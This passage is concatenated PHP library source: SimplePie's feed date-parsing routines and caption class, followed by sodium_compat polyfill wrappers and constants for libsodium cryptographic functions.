			$fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
			$optional_fws = $fws . '?';
			$day_name = $this->day_pcre;
			$month = $this->month_pcre;
			$day = '([0-9]{1,2})';
			$hour = $minute = $second = '([0-9]{2})';
			$year = '([0-9]{2,4})';
			$num_zone = '([+\-])([0-9]{2})([0-9]{2})';
			$character_zone = '([A-Z]{1,5})';
			$zone = '(?:' . $num_zone . '|' . $character_zone . ')';
			$pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
		}
		if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match))
		{
			/*
			Capturing subpatterns:
			1: Day name
			2: Day
			3: Month
			4: Year
			5: Hour
			6: Minute
			7: Second
			8: Timezone ±
			9: Timezone hours
			10: Timezone minutes
			11: Alphabetic timezone
			*/

			// Find the month number
			$month = $this->month[strtolower($match[3])];

			// Numeric timezone
			if ($match[8] !== '')
			{
				$timezone = $match[9] * 3600;
				$timezone += $match[10] * 60;
				if ($match[8] === '-')
				{
					$timezone = 0 - $timezone;
				}
			}
			// Character timezone
			elseif (isset($this->timezone[strtoupper($match[11])]))
			{
				$timezone = $this->timezone[strtoupper($match[11])];
			}
			// Assume everything else to be -0000
			else
			{
				$timezone = 0;
			}

			// Deal with 2/3 digit years
			if ($match[4] < 50)
			{
				$match[4] += 2000;
			}
			elseif ($match[4] < 1000)
			{
				$match[4] += 1900;
			}

			// Second is optional, if it is empty set it to zero
			if ($match[7] !== '')
			{
				$second = $match[7];
			}
			else
			{
				$second = 0;
			}

			return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone;
		}

		return false;
	}

	/**
	 * Parse RFC850's date format
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_rfc850($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$space = '[\x09\x20]+';
			$day_name = $this->day_pcre;
			$month = $this->month_pcre;
			$day = '([0-9]{1,2})';
			$year = $hour = $minute = $second = '([0-9]{2})';
			$zone = '([A-Z]{1,5})';
			$pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
		}
		if (preg_match($pcre, $date, $match))
		{
			/*
			Capturing subpatterns:
			1: Day name
			2: Day
			3: Month
			4: Year
			5: Hour
			6: Minute
			7: Second
			8: Timezone
			*/

			// Month
			$month = $this->month[strtolower($match[3])];

			// Character timezone
			if (isset($this->timezone[strtoupper($match[8])]))
			{
				$timezone = $this->timezone[strtoupper($match[8])];
			}
			// Assume everything else to be -0000
			else
			{
				$timezone = 0;
			}

			// Deal with 2 digit year
			if ($match[4] < 50)
			{
				$match[4] += 2000;
			}
			else
			{
				$match[4] += 1900;
			}

			return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone;
		}

		return false;
	}

	/**
	 * Parse C99's asctime()'s date format
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_asctime($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$space = '[\x09\x20]+';
			$wday_name = $this->day_pcre;
			$mon_name = $this->month_pcre;
			$day = '([0-9]{1,2})';
			$hour = $sec = $min = '([0-9]{2})';
			$year = '([0-9]{4})';
			$terminator = '\x0A?\x00?';
			$pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
		}
		if (preg_match($pcre, $date, $match))
		{
			/*
			Capturing subpatterns:
			1: Day name
			2: Month
			3: Day
			4: Hour
			5: Minute
			6: Second
			7: Year
			*/

			$month = $this->month[strtolower($match[2])];
			return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]);
		}

		return false;
	}

	/**
	 * Parse dates using strtotime()
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_strtotime($date)
	{
		$strtotime = strtotime($date);
		if ($strtotime === -1 || $strtotime === false)
		{
			return false;
		}

		return $strtotime;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Handles `<media:text>` captions as defined in Media RSS.
 *
 * Used by {@see SimplePie_Enclosure::get_caption()} and {@see SimplePie_Enclosure::get_captions()}
 *
 * This class can be overloaded with {@see SimplePie::set_caption_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Caption
{
	/**
	 * Content type
	 *
	 * @var string
	 * @see get_type()
	 */
	var $type;

	/**
	 * Language
	 *
	 * @var string
	 * @see get_language()
	 */
	var $lang;

	/**
	 * Start time
	 *
	 * @var string
	 * @see get_starttime()
	 */
	var $startTime;

	/**
	 * End time
	 *
	 * @var string
	 * @see get_endtime()
	 */
	var $endTime;

	/**
	 * Caption text
	 *
	 * @var string
	 * @see get_text()
	 */
	var $text;

	/**
	 * Constructor, used to input the data
	 *
	 * For documentation on all the parameters, see the corresponding
	 * properties and their accessors
	 */
	public function __construct($type = null, $lang = null, $startTime = null, $endTime = null, $text = null)
	{
		$this->type = $type;
		$this->lang = $lang;
		$this->startTime = $startTime;
		$this->endTime = $endTime;
		$this->text = $text;
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Get the end time
	 *
	 * @return string|null Time in the format 'hh:mm:ss.SSS'
	 */
	public function get_endtime()
	{
		if ($this->endTime !== null)
		{
			return $this->endTime;
		}

		return null;
	}

	/**
	 * Get the language
	 *
	 * @link http://tools.ietf.org/html/rfc3066
	 * @return string|null Language code as per RFC 3066
	 */
	public function get_language()
	{
		if ($this->lang !== null)
		{
			return $this->lang;
		}

		return null;
	}

	/**
	 * Get the start time
	 *
	 * @return string|null Time in the format 'hh:mm:ss.SSS'
	 */
	public function get_starttime()
	{
		if ($this->startTime !== null)
		{
			return $this->startTime;
		}

		return null;
	}

	/**
	 * Get the text of the caption
	 *
	 * @return string|null
	 */
	public function get_text()
	{
		if ($this->text !== null)
		{
			return $this->text;
		}

		return null;
	}

	/**
	 * Get the content type (not MIME type)
	 *
	 * @return string|null Either 'text' or 'html'
	 */
	public function get_type()
	{
		if ($this->type !== null)
		{
			return $this->type;
		}

		return null;
	}
}
<?php

if (!is_callable('sodium_crypto_stream_xchacha20')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20()
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xchacha20($len, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xchacha20($len, $nonce, $key, true);
    }
}
if (!is_callable('sodium_crypto_stream_xchacha20_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_stream_xchacha20_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xchacha20_keygen();
    }
}
if (!is_callable('sodium_crypto_stream_xchacha20_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xchacha20_xor($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor($message, $nonce, $key, true);
    }
}
if (!is_callable('sodium_crypto_stream_xchacha20_xor_ic')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor_ic()
     * @param string $message
     * @param string $nonce
     * @param int $counter
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key, true);
    }
}
<?php
namespace Sodium;

require_once dirname(dirname(__FILE__)) . '/autoload.php';

use ParagonIE_Sodium_Compat;

const CRYPTO_AEAD_AES256GCM_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_KEYBYTES;
const CRYPTO_AEAD_AES256GCM_NSECBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_NSECBYTES;
const CRYPTO_AEAD_AES256GCM_NPUBBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_NPUBBYTES;
const CRYPTO_AEAD_AES256GCM_ABYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_ABYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES;
const CRYPTO_AUTH_BYTES = ParagonIE_Sodium_Compat::CRYPTO_AUTH_BYTES;
const CRYPTO_AUTH_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AUTH_KEYBYTES;
const CRYPTO_BOX_SEALBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SEALBYTES;
const CRYPTO_BOX_SECRETKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES;
const CRYPTO_BOX_PUBLICKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES;
const CRYPTO_BOX_KEYPAIRBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES;
const CRYPTO_BOX_MACBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_MACBYTES;
const CRYPTO_BOX_NONCEBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES;
const CRYPTO_BOX_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SEEDBYTES;
const CRYPTO_KX_BYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_BYTES;
const CRYPTO_KX_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_SEEDBYTES;
const CRYPTO_KX_PUBLICKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_PUBLICKEYBYTES;
const CRYPTO_KX_SECRETKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_SECRETKEYBYTES;
const CRYPTO_GENERICHASH_BYTES = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES;
const CRYPTO_GENERICHASH_BYTES_MIN = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN;
const CRYPTO_GENERICHASH_BYTES_MAX = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX;
const CRYPTO_GENERICHASH_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES;
const CRYPTO_GENERICHASH_KEYBYTES_MIN = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN;
const CRYPTO_GENERICHASH_KEYBYTES_MAX = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX;
const CRYPTO_SCALARMULT_BYTES = ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_BYTES;
const CRYPTO_SCALARMULT_SCALARBYTES = ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_SCALARBYTES;
const CRYPTO_SHORTHASH_BYTES = ParagonIE_Sodium_Compat::CRYPTO_SHORTHASH_BYTES;
const CRYPTO_SHORTHASH_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_SHORTHASH_KEYBYTES;
const CRYPTO_SECRETBOX_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES;
const CRYPTO_SECRETBOX_MACBYTES = ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES;
const CRYPTO_SECRETBOX_NONCEBYTES = ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES;
const CRYPTO_SIGN_BYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES;
const CRYPTO_SIGN_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_SEEDBYTES;
const CRYPTO_SIGN_PUBLICKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES;
const CRYPTO_SIGN_SECRETKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES;
const CRYPTO_SIGN_KEYPAIRBYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_KEYPAIRBYTES;
const CRYPTO_STREAM_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_STREAM_KEYBYTES;
const CRYPTO_STREAM_NONCEBYTES = ParagonIE_Sodium_Compat::CRYPTO_STREAM_NONCEBYTES;
<?php

if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES')) {
    define(
        'SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES',
        ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_BYTES
    );
    define('SODIUM_COMPAT_POLYFILLED_RISTRETTO255', true);
}
if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES')) {
    define(
        'SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES',
        ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_HASHBYTES
    );
}
if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES')) {
    define(
        'SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES',
        ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_SCALARBYTES
    );
}
if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES')) {
    define(
        'SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES',
        ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES
    );
}
if (!defined('SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES')) {
    define(
        'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES',
        ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES
    );
}
if (!defined('SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES')) {
    define(
        'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES',
        ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_RISTRETTO255_BYTES
    );
}

if (!is_callable('sodium_crypto_core_ristretto255_add')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_add()
     *
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_add($p, $q)
    {
        return ParagonIE_Sodium_Compat::ristretto255_add($p, $q, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_from_hash')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_from_hash()
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_from_hash($s)
    {
        return ParagonIE_Sodium_Compat::ristretto255_from_hash($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_is_valid_point')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_is_valid_point()
     *
     * @param string $s
     * @return bool
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_is_valid_point($s)
    {
        return ParagonIE_Sodium_Compat::ristretto255_is_valid_point($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_random')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_random()
     *
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_random()
    {
        return ParagonIE_Sodium_Compat::ristretto255_random(true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_add')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_add()
     *
     * @param string $x
     * @param string $y
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_add($x, $y)
    {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_add($x, $y, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_complement')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_complement()
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_complement($s)
    {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_complement($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_invert')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_invert()
     *
     * @param string $p
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_invert($p)
    {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_invert($p, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_mul')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_mul()
     *
     * @param string $x
     * @param string $y
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_mul($x, $y)
    {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_mul($x, $y, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_negate')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_negate()
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_negate($s)
    {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_negate($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_random')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_random()
     *
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_random()
    {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_random(true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_reduce')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_reduce()
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_reduce($s)
    {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_reduce($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_sub')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_sub()
     *
     * @param string $x
     * @param string $y
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_sub($x, $y)
    {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_sub($x, $y, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_sub')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_sub()
     *
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_sub($p, $q)
    {
        return ParagonIE_Sodium_Compat::ristretto255_sub($p, $q, true);
    }
}
if (!is_callable('sodium_crypto_scalarmult_ristretto255')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_ristretto255()
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult_ristretto255($n, $p)
    {
        return ParagonIE_Sodium_Compat::scalarmult_ristretto255($n, $p, true);
    }
}
if (!is_callable('sodium_crypto_scalarmult_ristretto255_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_ristretto255_base()
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult_ristretto255_base($n)
    {
        return ParagonIE_Sodium_Compat::scalarmult_ristretto255_base($n, true);
    }
}<?php
namespace Sodium;

require_once dirname(dirname(__FILE__)) . '/autoload.php';

use ParagonIE_Sodium_Compat;

/**
 * This file will monkey patch the pure-PHP implementation in place of the
 * PECL functions, but only if they do not already exist.
 *
 * Thus, the functions just proxy to the appropriate ParagonIE_Sodium_Compat
 * method.
 */
if (!is_callable('\\Sodium\\bin2hex')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2hex()
     * @param string $string
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function bin2hex($string)
    {
        return ParagonIE_Sodium_Compat::bin2hex($string);
    }
}
if (!is_callable('\\Sodium\\compare')) {
    /**
     * @see ParagonIE_Sodium_Compat::compare()
     * @param string $a
     * @param string $b
     * @return int
     * @throws \SodiumException
     * @throws \TypeError
     */
    function compare($a, $b)
    {
        return ParagonIE_Sodium_Compat::compare($a, $b);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_aead_aes256gcm_decrypt($message, $assocData, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt($message, $assocData, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_aes256gcm_encrypt($message, $assocData, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_is_available')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available()
     * @return bool
     */
    function crypto_aead_aes256gcm_is_available()
    {
        return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available();
    }
}
if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_aead_chacha20poly1305_decrypt($message, $assocData, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt($message, $assocData, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_encrypt($message, $assocData, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($message, $assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_aead_chacha20poly1305_ietf_decrypt($message, $assocData, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt($message, $assocData, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_ietf_encrypt($message, $assocData, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($message, $assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_auth')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth()
     * @param string $message
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_auth($message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth($message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_auth_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_verify()
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_box')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box($message, $nonce, $kp)
    {
        return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $kp);
    }
}
if (!is_callable('\\Sodium\\crypto_box_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair()
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair();
    }
}
if (!is_callable('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey()
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_keypair_from_secretkey_and_publickey($sk, $pk)
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($sk, $pk);
    }
}
if (!is_callable('\\Sodium\\crypto_box_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_open()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string|bool
     */
    function crypto_box_open($message, $nonce, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_open($message, $nonce, $kp);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
